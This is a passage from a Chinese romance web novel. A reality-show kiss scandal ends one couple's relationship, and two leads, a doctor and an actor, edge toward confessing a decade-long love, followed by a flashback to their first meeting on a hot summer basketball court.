“老板真的很爱你，虽然不知道你们为什么这么多年没见过，”李达觉得再泄露一点，“季医生你不是在二院吗，老板他不拍戏的时候，雷打不动的每天去健身房，起初我不知道，后来才发现，他去的健身房，全都是二院旁边的，站在窗户旁边就能看到你们医院的楼。我说呢，那边的健身房私密性不好，还经常倒闭，但他就是不换地方，就是为了能看见你呀。”
季杭听他说着，许是情绪上头，他忽然觉得自己怎么就不能爱司云起呢。
遗憾了十年，为什么自己就不能给司云起一场圆满呢。
非要为了司云起的前途，非要担心恋情曝光他会被封杀么。
那怎么就确定司云起会选前途不会选自己呢，或者怎么就不能偷偷摸摸谈一辈子恋爱呢。
怎么就非要不能圆满呢。
外面他们应该是散了，依稀有人影走动，还有搬东西的声音。
李达还想说，就见季医生急匆匆出去了。
直播散场后，司云起看了眼季杭的帐篷，这人应该是还没醒，他走到一旁回拨了未接听的董依依的电话。
忽地，他嗅到了花露水的气味。
他愣了下，转过身，看见站在自己身后的季杭。
电话被挂断，司云起借着微弱的灯光看到这人发红的眼眶。
他哄道：“这是怎么了，像是睡醒了找不到我委屈了。”
季杭哑声说：“司云起。”
司云起凝望着他，等待着他接下来的话。
还没说出口，身后有个跟拍说：“司老师来看镜头，最后和观众打个招呼吧。”
季杭低下头，抬手抹了下眼尾，转过身和司云起一起面向着镜头，和陪伴了他们三天的观众告别。
跟拍转了角度，嘴里还对观众说：“稍等，再找一下谢桉老师和他朋友，今天就要和大家拜拜了。”
季杭偏了下脸，看到树林边的两个人影，他没在意，正想和司云起说出刚刚被打断没说的话。
可下一秒，他猛地回头，看到隐匿在树林暗处的两个人影，其中高一些的那个正缓缓倾身，吻在了另一个人唇间。
他立刻想提醒，却还是晚了一步。
跟拍的镜头已经对准了那两个人影。
直播间里几百万观众，瞬间像是炸开了一样，跟拍愣了半天才反应过来，立刻关了直播。
正在看直播的导演站起来喊道：“谢桉和苏凛在干什么！”
谢桉的助理慌忙跑过去，季杭看到谢桉被助理拉走，苏凛站在原地，现场开始变得很乱，工作人员好像都在忙，不一会儿就有人喊说上热搜了，又有人喊谢桉的公司在找谢桉……
苏凛始终站在原地，像是还不知道发生了什么。
在嘈杂声中，季杭方才从幻想中清醒过来。
他看向司云起，生生咽下那句“其实我一直都喜欢你”，转而说了句再平常不过的：
“没事。”
呼吸仿佛在话音落下的一刻闷滞住，他喘不上气来，心疼得无以复加，转身走向苏凛。
55.不可能
谢桉和苏凛的恋情在热搜上爆了一整夜。
整个节目组就没有空下来过，导演他们在尽量消除网上对综艺的舆论。
谢桉的助理和谢桉待在帐篷里，一直在和公司打电话。忙碌的工作人员从苏凛旁边经过，投过去异样而同情的目光。
起初苏凛不太明白，为什么别人要那样看着他。
直到清晨，几乎是一夜没睡的节目组安排返程，苏凛看见了谢桉。
谢桉看起来疲惫极了，带着帽子和墨镜，身后跟着寸步不离的助理。
车门打开的时候，苏凛似乎还看到了谢桉的经纪人。他面色铁青，苏凛记得谢桉和自己说过，说他的经纪人是一个雷霆手段的人，不然他也不可能短短几年有这么高的热度。
苏凛看着谢桉的背影，看到他上车前回了下头，似乎是在找自己，但下一秒就被经纪人和助理推上了车。
再之后会发生什么，苏凛就无从知晓了。
后来他才呆愣地想起来，自己是和谢桉一起坐保姆车来的，可是走的时候……
他们却没有管自己。
他是一个不折不扣的乐天派，面对这幅场面，其实心里并没有很大的波动。
事情终归是已经发生了，总有自己需要付出的代价，但再消耗情绪就很不划算，也很不值当。
他转身去找在忙碌的导演助理，让他们给自己留一个回程的位置，说完之后没有在意任何眼神，走到海边坐下了。
不一会儿，旁边多了个人影。
他转过头，笑着说：“哥。”
季杭“嗯”了声，递上一瓶水，坐在了他旁边。
苏凛回头看了看，有些好奇：“哥，司老师已经离开了吗？”
司云起本意是要和季杭一起离开的，但李达及时拽住了他，小声说：“老板，你还有下场活动要参加，和季医生不顺路！而且现在网上也有你和季医生的词条了！这回可不是cp粉磕上来的，是网友看了谢桉和苏凛亲在一起的视频提到的你俩！你俩尽量先…先保持一下距离。我已经联系车来接季医生了。”
季杭听到后，对司云起说：“确实不顺路，你先走吧，我和苏凛一起回。”
李达嘱咐道：“季医生，你稍等一会儿就行，车就在路上呢。你和苏凛别坐节目组的车，跟着他们准能遇到记者。”
季杭说好。等司云起离开后，他看到肚子坐在海边的苏凛，找了过来。
“一会儿有辆车过来，你跟我一起走。”季杭说。
“好诶，”苏凛笑脸未减半分，“谢谢哥。”
浪花拍打在岸边，后来苏凛没再说话。
李达安排的车到了之后，季杭和苏凛一起上车。
关上车门后苏凛又说了遍：“哥，谢谢你。”
“不用谢，”季杭不知道该怎么安慰他，几经犹豫后，说：“网络上的事情瞬息万变，别太在意那些评论。”
苏凛拿出手机，点进热搜看了几眼。
时间不长，他扣住手机，说：“谢桉的代言掉了五个，品牌都宣布和他解约了。”
季杭看向他。
苏凛面色还算平静，“网上有人说我是故意引诱他亲我，还有人说是角度问题实际根本没亲到，应该是他的粉丝吧。毕竟公司给他的定位是温柔暖男，他全都是女粉。”
“现在他的粉丝应该很失望。”
“但我没故意引诱他，也…也是真的亲到了。”
苏凛忽地问季杭，“哥，你不会把我的话发到网上吧。”
季杭摇了摇头。
“我也觉得你不会，你看上去就不想和网络沾边，”苏凛叹了口气，“哎，都到这个程度了，你是唯一帮我的人，我还怀疑你。”
在昨天夜里，谢桉被助理拉走了，他一个人愣在原地，还没从意外中反应过来，当时是季杭走到他面前，带着他回到帐篷。
现在回程他没车，又是季杭找到自己，送自己回去。
他狡黠地笑了下，悄声说：“哥，其实我一直都在看你和司老师的cp。”
“我呢，和谢桉认识四年了，恋爱半年。其实我知道他的工作性质，导致我俩不能公开，我只能偷偷的在他身边，当他的好朋友。这次的综艺，其实我俩都抱了私心。”
季杭好像知道他接下来要说什么。
苏凛的话也在他意料之内：“我俩也想借着综艺里的互动收割一批cp粉，或许这样我们在大众面前就能不那么躲藏。”
“不过！”苏凛解释，“昨天他亲我和这个没关系！我俩还没傻到那程度，当时我们都以为拍摄停了……”
“本来想收割cp粉的，没想到啊，”苏凛嗓音沧桑，“结果没注意就过火了…我俩的cp还没出现就灭绝了……早知道就不抱侥幸心理了。”
季杭很能理解苏凛，他们情况不大一样，但也有相似之处，他能体会到苏凛别扭侥幸又担心的心理。
因为他也时常拧巴，一边想靠近司云起，一边又想远离司云起。
但爱本就足够复杂。
没人能只用一种情绪去爱完一场。
“你没错，”季杭说，“在爱里面你已经很勇敢了，不管结果怎么样，别折磨自己。”
苏凛点头。
他们下车后到了机场，苏凛睡了一觉，也不知道是真睡还是装睡。下飞机后季杭看到苏凛拿出手机，后来像是丢了魂般，目光始终没从屏幕上移开过。
他带着苏凛坐上车，余光瞥见苏凛还在盯着手机看。
隐约有个预感，他也打开了热搜。
果不其然，现在居于热搜第一的是#谢桉回应恋情#。
【谢桉：很抱歉占用了公共资源，让喜欢我的粉丝朋友们担心了。关于昨天直播里的视频画面，以及网传的我和苏凛是恋人关系，皆为不实言论。
我和苏凛是多年的好友，一直很感激这些年来他的陪伴和鼓励。此次综艺节目里，有很多我的言论被剪辑，成为了“我喜欢他”的证据。但事实上，正因为我们两个相处多年，我们了解彼此，所以困难的环节不需要他硬着头皮去完成，而我本人对“获胜者”并无执着。
直播最后扫到我们的镜头，是他眼里进了沙，但当时很暗，我只能凑近去给他吹，错位导致，让大家误会了。
接下来我会更加注意，不会再发生此类事件，感谢大家对我的关注。】
季杭熄了屏幕，对苏凛说：“别看了。”
苏凛低着头，默了会儿，问季杭：“哥，他助理给我发消息了，让我为了谢桉的前途，也发一条澄清博。”
一句“那你想发么”，季杭还没问出口，就听到苏凛说：“但我现在脑子有点乱，你能帮我想想怎么发吗。”
季杭一时之间不知如何回答。
他看到苏凛重低头一字一字很认真地编辑着澄清微博，彻底将心里犹豫不决的火苗燃烧殆尽。
人难两全，站在闪耀的聚光灯下时，总得舍弃点什么。
大不了就是他再狠心一点，司云起舍弃不了自己，那自己干脆就不要给司云起任何机会。
“我写好了，”苏凛读了一遍，“我是苏凛，和谢桉只是朋友。昨晚确实是我眼睛里进了东西，他来帮我吹，不知道怎么就发展到这个程度了。对谢桉本人和关注这件事的网友都感到很抱歉……”
“哥，”苏凛转头，“最后一句我该怎么说啊。”
季杭对这样的回应可以说是张口就能来，熟练到不能再熟练了，但他没回答，说：“你发了这条微博之后，会看到很多骂声，你想好了么。”
苏凛目光有片刻茫然，很快，他说：“嗯！”
季杭便帮他收了尾，是很体面的话，他替苏凛发出去，然后关了微博，没让他看。
之后，苏凛的手机一直在振动。
季杭看了几次，见苏凛没有要接的打算，问：“以后你打算一直躲着他么。”
“没，”苏凛说，“我把他微信拉黑了，手机号还留着，就是想告个别。但还没想好怎么说。”
振动声停了几秒，又孜孜不倦地嗡起来。
苏凛深吸着气，接听了电话。
那头谢桉很着急，坐在旁边的季杭都能隐约听到他的话。
“苏苏，你去哪了，我让车去接你，但司机告诉我找不到你人！”
苏凛明显愣住，随后释怀的笑了。
“谢桉，我做了司老师朋友的车，已经快到家了。”
“那就好，我真的很担心你，苏苏你听我说，我的微博是公司发的，你也知道我的工作是
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这样，我没办法承认我们的关系，但我是真的爱你，你回家等我，我们回家说。”
苏凛摇头：“不了，谢桉，那是你的家，我没资格回。”
“苏苏，你不要说气话，”谢桉急道，“你回家，我们什么都能一起面对的。”
“谢桉，我没有和你闹脾气。”苏凛声音很平常，没什么情绪，“昨晚你被助理拉走，一夜没找我。今天早上你走的时候，也没有想我怎么办。在你微博发出来之前，你也始终没联系我。现在我都快到家了，你打电话过来了。”
苏凛想起事情刚发生时别人看向自己的眼神，那时候他还不明白，为什么别人都要用一种很可怜的目光看自己。
现在他才明白，因为那些人当时就知道，自己是被放弃的。
他知道谢桉爱自己，所以没什么可怪的。人除了爱本就会有别的牵绊，放弃爱是最简单不过的事情了。
“谢桉，”苏凛笑着说，“祝你以后一切顺利，咱们就到这儿了。”
说完他挂断电话，在季杭的注视下拉黑了谢桉的号码。
季杭问：“还有地方住吗？”
苏凛点头，“有呢，我有自己的家，但是我打算出去旅游一段时间，我看看机票，晚上就出发。”
他问季杭：“哥，我能加你个联系方式吗？到时候我给你看风景！”
季杭点开微信，加上后输入备注的时候，他打上了自己的名字。
苏凛“哎呦”一声，“哥你放心，绝对不会有第二个人知道两个影子另一个人是你！我保证不说出去。”
季杭也摘了口罩，笑着说：“好。”
他们至此分开。季杭也没想到他会在短短三天里见证这么多事情，他回到家，刚推开门就看见站在客厅沙发上的成芜和曹书望。
两个人抱着胸，翘着二郎腿，审视的目光落在他身上。
季杭愣了愣，说：“我得先洗澡。”
成芜和曹书望起身把他拽到单人沙发上，开始审问。
“季杭！”
“哥！”
季杭：“……”
两个人异口同声：“谁说的！是谁说的，肯定不去司云起这综艺？”
成芜：“我看到直播里出现你的时候我人都傻了！”
曹书望：“你知道我废了多大口舌才让我那些员工相信上直播的人不是你吗！”
季杭理亏，听着他们说，自己沉默。
等他们说够了，季杭问。
“成芜，十年前那六十万，是司云起给你的。”
成芜：“……是。”
“书望，当时你拿来的五万……”
曹书望：“哎这个真和他没关系，我就是后来才知道……”
“知道什么？”
“就毕业后我不是开宠物诊所吗，干了半年亏了半年，马上准备把店盘出去滚蛋了，突然顾客就多了起来…我那时候还以为走大运了，结果大运没停过…过了几年，我和一个老顾客聊天，她说漏了嘴。她说她在娱乐圈工作，能找到我也是巧了，是司云起介绍她去我那的……”
“哎呀哥，”成芜说，“云起哥他不让我告诉你，他说你已经很辛苦了，别让你有负担。他跟我说60万只是他拍部剧的零头，所以我才收了给你的。”
他们两个都在说，但季杭已经听不见了。
拼拼凑凑，季杭看到了他和司云起没相见过、却从未停止爱对方的十年。
……
看他脸色实在不好，成芜和曹书望先离开了，让他洗个澡好好休息。
到了晚上，季杭找出藏在相框后面的纸和签名照。
他好像总是习惯做些没意义的事情。
比如常常触碰颈间的素戒，再比如对着一张十年前的纸发呆，现在又多了张签名照。
不知看了多久，眼眶有些发酸。
忽地门被敲响，他收起东西走到玄关。
开门后，看到走完红毯没来得及换下西服的司云起。
司云起应该又是爬楼梯上来的，呼吸中带着很轻的喘，在静寂的深夜缭到季杭耳边。
不等他说话，司云起问：
“季杭，昨晚你想和我说的话，不可能是‘没事’。”
“你原本想和我说什么。”
56.初见
“没有……”
他声音压的很低，像是对司云起的到来毫无防备，一时之间没想好自己该摆出个怎么样的态度。
可没给他任何反应的机会，司云起扶住半开的门框，侧身从狭小的空间里挤了进去。
而后他反手关上门，站在玄关那没动位置。
他们明明离得那样近，看向彼此的目光分明都那么爱。
季杭却说：“司云起，我真的没想和你说什么。”
他转过身，走向客厅时，身后蓦然响起声音。
“季杭，你又口是心非。”
司云起看着季杭脚步顿住。这人的背影十年里他看过无数次，他能很轻易就看出这人的情绪。
起码在这一刻，季杭因为自己的话，情绪是很别扭的。
司云起心里清楚，季杭并非完全不在意他，也绝不是像表达出来的那样冷漠。
十年前他听到了自己表白后季杭仓皇离开的动静，也在分离时听到了季杭绝情的话，那时候他真的以为自己远离季杭才是正确的。
直到他看到了那个网络上的营销号，借我瓶水。
虽是不喜欢，但季杭也一定不是如他表达的那样讨厌自己。
而重逢后相处以来，司云起总是时不时产生错觉——
季杭好像喜欢自己。
可每每出现这个错觉的时候，季杭又会在下一秒很认真的说“司云起，我不喜欢你”。
包括前晚夜里。
他看见季杭眼眶红着，某些情感和话仿佛就要喷涌而出，却因为苏凛谢桉的意外生生止住，成了一句普通平常的没事。
这人总是嘴硬，总是什么也不说。
夜里他想追问，但季杭一直守着苏凛。到了白天他还想问，现场人太多，季杭和他一起走会遇到记者，便又被耽搁。所以参加完活动他一刻不停地开车五个小时来到这里，只为了追问一句：
“季杭，你原本想说什么。”
好像这次不问，他真的会错过点什么。
季杭的背影没动，良久，他问：“司云起，你吃饭了吗。”
司云起说：“没有。”
“好，”季杭坐回沙发，并未抬头看司云起，点开外卖软件后，说：“你留下来，我们把话说开吧。”
没一会儿外卖就送到了，季杭把外卖盒都打开，接到电话后又打开门，取回来两包酒。
放到餐桌上后，他看向司云起，说：“坐吧。”
筷子都没动，酒却先打开了。
季杭垂着眼眸，想了很久之后才抬眼，注视着司云起，说：“司云起。”
“嗯。”
“对不起。”
季杭扯起嘴角，似乎是想笑一声，却实在做不到，“十年前送你离开的时候，我、”
话音悄然止住，他喉口堵得厉害，眼底一片湿润。
他连忙避开视线，想要把眼泪憋回去。
司云起猜到季杭已经都知道了，但季杭真的没什么好抱歉的，一切都是他自己的选择。
“季杭，”司云起嗓音微哑，带了浅浅倦意，“你不用说对不起这三个字。我做了什么选择，都是我自己的事情，不是用它来让你愧疚的。以前是这样，以后也是。”
季杭没说话。
“我希望你在想起我的时候，不要被某些事情枷锁，”司云起很认真地告诉他，“我，司云起，是喜欢你的人，所以你只需要考虑要不要接受我就好。”
季杭的心又被猛地一攥。
他揪扯着挣扎，缓缓摇头，“司云起，我不会接受你，我也不喜欢你。”
这是司云起意料之中的答案，听到时也难免有一丝滞涩，很快他将那些情绪压了下去。
他苦笑了声，仰头灌了一瓶酒。
“我总觉得，昨晚你要说的话我没听到，好像这辈子就错过了似的。”
季杭强撑着镇定，一字一句，“如果你不喜欢我，或许我们还能做朋友。但司云起，你见过和喜欢自己的人做朋友的吗，我做不到。”
“那我能问问，你为什么去参加综艺直播吗，”司云起说，“季杭，你一直很矛盾。”
说不喜欢我，做的又都是喜欢我的事情。
季杭又不回答了。
司云起断断续续又喝了两瓶多的酒，季杭还是没说话。
初显醉意时，司云起冒出个念头。
他真的想钳制住这人，不管他说什么，直接吻上去。反正这人的话矛盾又拧巴，他得不出答案，索性就不要答案，把人锁在自己身边，日夜守着他，永远不放走。
毕竟他这样爱季杭。
可正因如此，这个念头在十年里出现过很多次，次次刚冒出来又被阻了回去。
他太爱季杭了。
爱到不舍得让他为难一点，只想让季杭开心又自由，爱到他不喜欢自己也没关系。
如果喜欢自己让他难为或者痛苦，那不喜欢自己也真的没关系。
他一瓶接一瓶地喝，到最后分不清究竟喝了多少，醉意裹挟了他的思想。
他醉醺醺的，眼神涣散不聚焦，却还能盯着眼前的人说：“季杭，我好爱你……”
季杭拿过他手里的酒瓶，“司云起，别喝了，你醉了。”
他任季杭动作，眼神半睁着，一眨不眨地看着这人。
后来他依稀听到这人在说话，他努力想听，但被酒精麻痹的意识让他听不明白。
“司云起，”趁着他醉了，季杭还是说出了刚刚没能说完的话，“对不起，十年前送你离开时，我真的以为你会一路顺遂愿望成真的。”
却没想到你非但没怪我擅自做主，还和丁熙年签了替身合同，导致那么多年没能演戏。
“六十万得还给你，找个机会我问李达要你的卡号转过去。”
“替书望也谢谢你，我还纳闷过，当时怎么他诊所的生意突然就好了起来。他一直没和我提过，也是偶然我看到他的订单，才知道你的第一部电影他包了五场。”
借着机会，季杭笑着说：“其实我也包了，还有你第一次站上领奖台，我废了好大力气去到现场，看到你拿了奖，看到结束的时候舞台下了彩带雨，也看到……”他缓了两秒，继续道，“看到自始至终，你谁都没有拥抱。”
眼泪不知在何时悄然落下，但司云起都醉成这样了，季杭肆无忌惮地任眼泪横流。
“苏凛和谢桉分开了，”季杭说，“我真的没有害怕自己的结局和苏凛一样。我只是看到事情发生后，谢桉掉了很多代言，大众都在抵制他，资本也要放弃他。”
“司云起，如果我们在一起了遇到这一天，我知道你肯定不会放弃我。所以我才觉得害怕，你努力走了这么多年，因为我付之一炬，真的不行……”
忽地，他看到对面始终专注盯着自己的司云起双手撑着桌面，似乎要站起来。
他正要起身去扶，却下一秒愣住。
司云起倾身过来，背脊弯成一道漂亮的弧线，吻在了季杭眼睛上。
他吻着这人掉着泪的眼睛，尝到一丝苦涩。
也许是几秒，也许是很久。
季杭一动不动，感受着司云起嘴唇的温度，眼皮轻轻颤抖着。
司云起离开时，喃喃了句：“不喜欢我就不喜欢，别哭。”
季杭心疼得无以复加，他看着昏昏欲睡的司云起，心拧巴到了极点，眼泪掉得更凶了，“怎么办啊司云起……”
他静静地凝望着司云起，嗓音平静又痛苦，“司云起，我爱你啊。”
瞒了十年的话终于在这样一个夜晚被说了出来，可惜的是，司云起还是没能知晓。
甚至在他被季杭扶到床上时，还在轻声说：“季杭，我爱你。”
季杭哑声说：“嗯，司云起，我爱你。”
司云起说了多少遍，季杭就跟着重复了多少遍。
他坐在司云起旁边守了一夜，直到天光乍破。
司云起睁开眼时，他却又装着不关心的态度说：“你该走了。”
醉了之后的事情他全然不知，但季杭这样的态度他熟悉得很。
昨晚有个问题还没问出来就喝醉了，先前司云起总把这个问题当做底牌，这是能季杭没忘掉自己、相反，他很在意自己的证明。
但显然季杭总是不说实话，底牌留着也确实没用。
在季杭要离开房间时，他语速不急，声音笃定，问：“季杭，你为什么开营销号给我反黑六年，营销号的名字为什么叫借我瓶水。”
季
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杭猛地回头，熬了一夜的眼睛很是疲惫，此刻里面充满了不可置信。
“你……”
“去年秋天，有次红毯上我被黑，原因是什么我不清楚，也没在意。那次李达却一直看着手机，和我说，又是那个营销号带头帮我反黑的。”司云起看着季杭，“我随口问了句，他说那个营销号的名字叫——”
“借我瓶水。”
默了很久，司云起说：“那次我就知道，借我瓶水是你。”
——
——
十年前。
那是季杭从小到大最炎热的夏天，蝉鸣声不绝于耳。
季杭在客厅里看到出门买菜回来的季满谦，诧异道：“爸，你在外面洗了个澡啊？”
季满谦浑身都湿透了，额头上还冒着汗珠，往洗手间跑，“洗什么澡，外面太热了。”
季杭站在窗前若有所思，快到饭点了，外面人不多，热气隔着窗户蒸在他身上，他连忙远离，帮着季满谦一起做饭。
吃过饭后季满谦去午休，季杭给曹书望发消息。
【季杭：书望书望。】
【曹书望：干啥？】
【季杭：有个赚钱的事，你干不干。】
【曹书望：干！干什么！】
【季杭：你看天这么热，外面打篮球的肯定一直缺水，咱们去卖水啊！】
【曹书望：……季杭你真是个神经病。】
【季杭：去不去。】
【曹书望：热的要死，打死我都不去。】
季杭撇开手机，心想曹书望这家伙，对赚钱一点敏锐度都没有。这天确实热，但这是商机啊，热的时候有什么需求，水啊。
身为思想和行动上的巨人，季杭随便找了顶鸭舌帽，刚推开家门，就被外面的热气顶了回来。
原地做了几分钟心理建设，舍不得孩子套不着狼，受不了热赚不着钱，他毅然踏出步伐。
从楼下超市买了提纯净水，他单手提着往最近的篮球场走。
没走几步就出了一身汗。
其实有几分后悔的，但出都出来了，水都买了，怎么也得卖出去再回去。
但但他看到空无一人的篮球场时，心凉了半截。
硬着头皮走过去把水放下，他蹲在一旁，汗水从侧脸滑落。
应该也不是一直没人，就是这会儿刚吃完饭，肯定等会儿就有了。
等了半小时，还是没人来。
季杭被晒中暑了，他拆包拿出一瓶水自己喝光了，看到另一个角落里不知被谁落下的篮球。
算了不等了，都快被热死了。
正要走时，突然走进来了个子很高的男生，皮肤很白，在太阳强光的照耀下都有点发光，季杭看不大清，但那男生的外套搭在侧肩，走进来时在地面投出一道颀长的影子。
随散又不羁。
眼看着那人将肩上的外套随手搭在篮球架上，转身去拿角落里的篮球。
季杭暗道：“有病，这么热的天还带外套。”
但是商机来了，他不能走。
于是他不动声色，一步步带着自己的一包水挪动到最显眼的位置，就等着商机来买水了。
这一包25，有24瓶，合下来一块左右，那自己就卖一块五，很合适，毕竟自己还辛苦提了过来呢。
男生控球很稳，连着投进去好几个球，再一次站在三分线外投中后，他撩起衣服下摆擦额头的汗，腰腹肌理分明。
擦过汗后男生站在原地，浓眉挺鼻，下颌线条消瘦，混着冷淡和少年气，在烈日中闪闪发光。
那人的漆黑的眼睛就这样猝不及防看了过来。
莫名其妙的，季杭咽了下口水。
他看着男生走到篮球架，从衣服口袋里拿出手机，心道终于要来买水了。
这样想着，不知道是什么心思作祟，他刻意站起来，扶了扶帽子，拍了拍蹲太久发皱的衣服。
等男生一步步走来时，他还在纠结要不要对自己的商机露出一个标准的微笑。
直到男生停在身前，影子很巧地投在自己腿上，他低头看了眼，抬眸时撞进男生的目光里。
随后，他听到男生清冽的嗓音：
“借我瓶水，晚点还你钱。”
57.司云起
在一天中太阳最烈的时候，一人一水相依为命，生生晒了两个多小时。
人要中暑了，水快烧开了。
以至于季摊主弯腰拿水的时候，凭空冒出来个念头——
瓶装水摸起来有点烫，给这人会不会不解渴啊。
但下一秒季杭又否了念头，也就是自己了，不然这人连水都没得喝。
季杭抽出来一瓶递过去，男生接过的时候短暂地触碰到他的手指。
拧开瓶盖后男生仰头，凸起的喉结上下滚动，喝完后他拧回瓶盖，目光随意扫了眼，似乎是在找垃圾桶。
季杭伸手：“空瓶给我。”
男生顿了一秒，递上手中的空瓶，见季杭将它又塞回了原位置。
随后季杭蹲着，完全被他的影子遮住，仰头自下而上看向男生时，他发现这人竟然连这么刁钻的角度都是帅的。
但帅没用，他仰着头说：“什么时候给钱？”
男生想了想，问：“明天你在不在这儿？”
季杭也想了想，答：“不好说。”
于是男生说：“那你等我会儿。”说完就要走。
“？”
不行，等不了，已经热的头晕目眩了。季杭站起身，刚“你”了一声，声音猛然卡住，许是猛然起身带来的晕眩感让他站不住，他直直地倒下去，还有点残存的意识想避开身后的石灰坎。
忽然，他的小臂被人拽住。
那是有点凉的掌心，和周身的热气有着极大的反差。他刚庆幸自己不用摔倒了，下一秒就被扯着撞在了男生胸口。
“……”
以一种古往今来各大英雄救美时的标准动作和姿势，季杭倒在男生有力的臂弯中，脸贴着男生的胸口。
不一样的是，他多了几层buff加持。
第一层是他头晕的厉害，眼神中有几分迷离，就顶着这样一双眼睛看着男生。
再一层是他真的没力气，自己使不了一点劲儿，即便后知后觉意识到这个姿势很不合适，还是得顶着那样一双迷离的眼睛看着男生，就是汗冒的更厉害了。
最后一层，就是他的帽子被蹭歪了，此刻帽檐水灵灵地朝向左边，他额前被汗水打湿的头发跟着旋了几圈，很是潦草。
除了小时候不会走被抱在怀里，这还是他第一次倒在别人胸口。
并且buff叠满。
但他浑然不知，只有托着他的男生垂眼，看着他的样子。
眼神奇怪，头发嘈乱，帽檐歪到另一边，大概是这帽檐的缘故，实在像个精神小伙。
男生抿了下嘴唇，把他的帽檐扶正了，移开目光，声线总是偏冷的：“能站起来么。”
季杭颤颤悠悠，嗓音无气无力：“能…我就是低血糖……”
男生瞥了他一眼，“你是中暑吧。”
季杭“啊”了声，几秒后，慢声说：“也有可能……”
男生看着季杭，已经把人托在怀里了，扔回去不像话，他四处看了眼，“最近的药店在哪？”
季杭早就分不清东南西北了，他不仅头晕，还想吐，这个姿势也不舒服，他却没力气挣扎，发白的嘴唇喃喃了句：“在附近。”
“……”
看他实在是难受，男生顺手托起他的膝盖，把人打横抱了起来，快步往路边跑。
但天太热了，跑出去一百多米也没见到人影，怀里的人蹙眉更深，他远远看见便利店的招牌，又跑了过去，站在门口问店主药店在哪。
店主边往外走边说：“我这栋楼后面有一家。”走出来后却见人已经跑远了。
男生抱着季杭在烈日下狂奔，依稀间听到怀里的人嗫嚅：“完了…我是不是…要死了…我…我头疼…我胸好闷…我想吐…”
男生顿了一下，跑的过程中季杭越滑越低，他往上托了下，顺便将这人的帽檐遮住了眼睛，让他不至于受强光的刺激。
终于看到了药店的牌子，他步履未慢，快步朝那里跑，忽地又听到怀里的人轻而惨的声音：“完了…我现在…又耳鸣了…我是不是要…”
男生的声音伴随着呼吸声，低低的飘进季杭耳朵里。
“你死不了。”
季杭难受地睁了下眼，视线里却是黑的。
等他感觉速度慢下来时，才听到男生的下一句话，嗓音很沉闷：“你没耳鸣，那是我的心跳。”
将人送到药店，店员赶忙拿了湿巾和藿香正气水。
季杭平躺在门边的长椅上，帽子也被男生摘了。紧随着，季杭感觉额头上被放来个凉凉的东西。
他费力地掀起眼皮，视线里正收回只手。
见他睁开眼了，男生递过一支藿香正气水，问：“自己能喝么。”
季杭哼哼了两声，就像受了委屈的小狗似的。
男生见状没再问，半蹲下去，手臂托起他的头，将藿香正气水送到嘴唇边。
季杭叼住瓶口，慢慢往口中送。
看着他喝了小半瓶，男生站起身，问店员：“他在你这休息会儿行么。”
店员点头：“当然可以。”
男生径直走向门口，看样子是要离开。店员纳闷道：“小伙子，你不陪着你朋友吗，一会儿让他自己回家呀？”
男生闻言顿在门口。
“你朋友自己回去有点困难，”店员问，“你着急走吗，先把他送回家再说吧，他得好好休息睡一觉。”
季杭实在不愿意再麻烦男生，他也感觉自己好些了，扶着墙坐起来，嗓音低弱：“没事，你有事就先走……”
店员：“哎，你这孩子，你自己回去多费劲啊。让你朋友送你回去吧！”
季杭：“没事，你走吧。”
两个人的话先后在男生耳朵里进进出出，他转头看了眼季杭，还是留了下来。
季杭靠墙闭着眼，不一会儿，额头上的湿巾骤然离开，睁开眼时，男生将一块新的又贴了过来。
季杭哑声说了句“谢谢”，没听到男生的回答。
过了大概五六分钟，季杭觉得自己应该是能走回家了，他也不愿意耽误男生太多时间，便起身要走。
店员站在收银台，说：“小伙子，来这边结下账吧。”
男生的手机早没电关机了，扔在上衣口袋里没拿，他身上也没钱，不然不会白喝季杭的水。听到店员的话后，他朝季杭伸手，“手机。”
季杭拿给他，看着男生走过去，店员说：“一共七块五，微信支付吗，你扫我。”
男生点开他的微信，一眼都没多看他的消息，直接扫码，输入金额后走回季杭身边，将屏幕对向他，“密码。”
季杭乖乖输入，伴随着他手指落下，收银台也响起微信到账的声音。
“手机给我吧，”季杭低声说了句，自己扶着墙站起来，脚步虚浮，一步步往门外走。
他顽强地走到门边，拉开门帘时，外面的热浪席卷而来，他险些跪地上。
见他踌躇，男生从后面走过来，正要弯腰。
季杭连连拒绝：“不不不不合适。”
男生瞥了他一眼，似乎不理解他为什么这个反应。
“背你有什么不合适的。”
“……”原来是背啊。
季杭不大好意思地笑了下，爬到男生的背上。
走出药店后男生问：“你家在哪？”
季杭支着脖子，避免和他有太近的接触，“我家……你把我送回篮球场吧。”
男生愣住，片刻，偏冷的声线又传入季杭耳中：“你还要回去卖水？”
这样的声音很轻易就让人有距离感，季杭绷紧下巴，说：“没有。我家钥匙被我用来拆纯净水，丢在旁边了，我回去拿。”
说完别扭地动了下，“你放我下来，我自己去。”
因为他的挣扎，男生不得不收紧几分力气，往篮球场走去。
到了后他将季杭放在水旁边，把装在袋子里的药和湿巾留下，转身去拿外套和手机。
拿完准备要走时，一种不可言说的牵绊迫使他看向季杭。
很奇怪。
明明这人有手
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机，也不再是一点路都走不了的样子，大概能自己回家，再不济也能打电话找人接。
但他看着这人梗着脖子装不在意却忍不住偷偷看向自己这边的样子时，还是走了过去。
这次外套不能搭肩上了，他随意穿上，转身说：“背你回去。”
季杭坐在原地，说：“不用了。”
男生没动，也没转头看他，只是又重复了遍：“上来，背你回去。”
莫名其妙的，季杭忽然想起他最难受的那一刻，恶心想吐头晕目眩，耳边还如雷鸣。但他当时哪分得清是什么动静，本能地以为自己耳鸣了。
却不料男生用冷淡的声音告诉自己。
“你没耳鸣，那是我的心跳。”
心倏地猛跳了下，季杭连忙捂住胸口，惜命地爬上男生的后背，心里默默絮叨着，我可得赶紧回家休息。
但当要走一刻，他回头，声音低而不舍：“我的水……”
男生背着他顿了足足半分钟，而后回头将水也提了起来。
季杭连忙说：“不用了不用了，就扔在这儿吧。”
男生又是冷淡地说了句：“老实待着，你没多重。”
就这样，季摊主和他的水，被他的商机送回了家……
季杭家在三楼，没有电梯，但好在不高，一路上季杭说了无数次让男生把他放下来，男生充耳不闻，直接送到了家门口。
季杭拿出钥匙，边开门边说：“谢谢你啊，你进来休息会儿吧。”
男生未停留，转身消失在楼梯拐角处。
季杭“诶”了半天，憋出来句：“那个水钱你不用给了，谢谢你啊。”
季满谦听见他的动静也走出来，见他发白的脸色，问：“这是怎么了？”
季杭扑进家里的沙发上，讲了自己这一中午的故事。
“真该叫那孩子来家里吃饭，等你好了，你出去找找他，”季满谦把水放在门边，感慨道：“挺稀罕。”
季杭问：“稀罕什么？”
